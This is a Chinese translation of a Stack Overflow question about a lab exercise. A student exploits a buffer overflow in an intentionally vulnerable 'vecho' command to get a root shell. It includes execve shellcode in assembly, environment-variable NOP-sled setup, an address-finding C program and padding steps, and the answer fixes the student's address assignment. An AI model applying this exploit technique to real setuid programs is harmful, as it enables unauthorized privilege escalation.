linux - 使用 vecho 的缓冲区溢出漏洞利用

标签 linux buffer buffer-overflow

我正在做一个实验,要求我们使用名为 vecho(功能与 echo 相同)的内置易受攻击的命令来执行缓冲区溢出以获得 root 权限。但是,无论我尝试什么,我都无法让它工作。

    .section .text
 .globl _start
_start:
     xor  %eax, %eax    // your comments go here
     push %eax       // and here, and so on...
     push $0x68732f2f
     push $0x6e69622f
     mov  %esp, %ebx
     push %eax
  mov  %esp, %ecx
  push %ebx
  mov  %eax, %edx
  mov  $0xb, %al
  int  $0x80

我们将其加载到保存为 egg 的环境变量中

export EGG=$(<shellcode.bin)

然后我们制作一个雪橇

SLED=`python -c "print '\x90' * 100"`

并将雪橇添加到变量中

export EGG=$SLED$EGG

然后我们找到当我们使用这个运行 vecho 时 EGG 所在的地址

#include<stdio.h>
   #include<stdlib.h>
   #include<string.h>
   int main(int argc, char** argv){
       char *ptr;
       if(argc < 3){
           printf("Usage:%s<environmentvar><targetprogramname>\n", 
             argv[0]);
           exit(0);
    }
    ptr = getenv(argv[1]);
    ptr += (strlen(argv[0]) - strlen(argv[2]))*2;
    printf("%s will be at %p\n", argv[1], ptr);
}

然后我们通过做这样的事情来创建一个小端格式的地址变量

ADDRESS=echo -en "\xff\xff\xff\xbf"

还有一个填充变量,它的字符足以将地址插入 eip,然后运行 ​​

vecho $PADDING$ADDRESS

但无论我尝试什么,如果填充太小,我都会成功打印,如果填充太长,我会出现段错误,而非法指令就在中间。我觉得这个非法指令点很重要,但我无法让它实际运行 shell 代码。

最佳答案

你已经快搞定了。该指令是非法的,因为看起来您正在将 echo -en "\xff\xff\xff\xbf"分配给 ADDRESS。你想要做的是:

ADDRESS=`echo -en "\xff\xff\xff\xbf"`

这会将结果分配给 ADDRESS,而不是整个命令。

关于linux - 使用 vecho 的缓冲区溢出漏洞利用,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/36389759/

相关文章:

c - 我要打印什么地址?

c - C 中的 printf 和 %s

linux - 分组显示结果

mysql - 通过 Linux 终端创建 MySQL 数据库并通过 phpMyAdmin 连接它

MySQL - InnoDB 缓冲池,禁用/解决方法

ios - 如何从 AVPlayerItem 创建波浪可视化工具? (iOS)

c - 奇怪的变量行为 - Arduino Uno rev 3

c - PPTP中一个c函数的问题

linux - 在bash shell中,如何对()、(())、[]、[[]]和{}的用法进行分类?

c++ - boost::asio 缓冲区不可能将参数从 char 转换为 const mutable_buffer&